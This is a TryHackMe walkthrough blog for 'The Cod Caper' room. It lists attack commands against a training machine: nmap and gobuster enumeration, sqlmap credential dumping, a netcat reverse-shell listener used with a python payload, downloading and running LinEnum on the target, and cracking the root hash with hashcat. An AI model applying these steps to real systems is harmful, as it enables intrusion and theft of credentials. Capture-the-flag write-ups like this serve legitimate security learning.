[ The Cod Caper ] - TRYHACKME

  

Check out the room

https://tryhackme.com/room/thecodcaper

Hello everyone  this is another walkthrough blog of tryhackme, this room contains some trick to crack the linux machines root password.

Room name : The Cod Caper

Machine Type : Linux

Task 2 

We'll run nmap on the target

#nmap -sV -A -p1-1000 -T4 -oN initial <target-machine-ip>

Task 3

As recommended in tryhackme the cod caper room we'll use gobuster for the directory checking the wordlist for gobuster is in the task for downloading.

Don't forget to user -x flag for specific extension search like ".html, .txt, .php"

#gobuster dir -u <target_url> -w "path/of/wordlist" -x ".php"

-x flag is important because we have to check the specific extension like ".html, .php"

After gobuster directory bruteforcing we have admin page for login but we don't have username and password for login so we have to find the username and password to access the page.

Task 4

We will use sqlmap for the further exploitation we are using sqlmap because this tool is suggested by the room.

#sqlmap -u "<target_link_of_the_admin_page>" --forms --dump --dbs --batch

After running this command on the console we'll get the username and password for admin login page.

Task 5

In the previous task we get the login page and with the help of sqlmap we have the username and password so after successful login we'll get the page something like this.

And this page is venerable to command execution.

Now we'll run nc command for get the reverse shell of the target machine.

Payload link : Pentestmonkey

#nc -nlvp 4444

with nc command my machine listen on the port 4444

Now we have to run the payload in the command column (see the above image), here i am using python payload.

Before sending to the command column modify the ip address and port in the payload.

Here my port is 4444 but you can change this port.

Note: IP address is on the access page of the THM (Virtual IP address)

Luckily we got the reverse shell by running the python payload on the command page.

On further enumeration we'll get the hidden password for the ssh user.

You will find the hidden password in the /var/hidden/pass directory by using the find command

#find -name pass -type -f

Task 6

Prepare the attack script on your machine.

#mkdir linenum

#cd linenum/

LinEnum and it's script can be found on the github.

#wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

#python3 http.server 80

download the script on the target machine

Login as ssh on the target machine using the username pingu

pingu@ubuntu$ cd /tmp

pingu@ubuntu$ wget <your_IP>:80/LinEnum.sh

pingu@ubuntu$ ls -la

pingu@ubuntu$ chmod +x LinEnum.sh

pingu@ubuntu$ ls -la

pingu@ubuntu$ ./LinEnum.sh

Now look for the SUID files in the result because using SUID we can access the root

Task 10

Now we have a hash of the root save hash to file filename.txt 

Now we'll use the Hashcat for the crack the root hash 

Don't forget to use --force command if you are using the VM

#hashcat -m 1800 -a 0 root.txt /usr/share/wordlists/rockyou.txt

On completing the hash cracking we have a root password.

Thanks for Reading.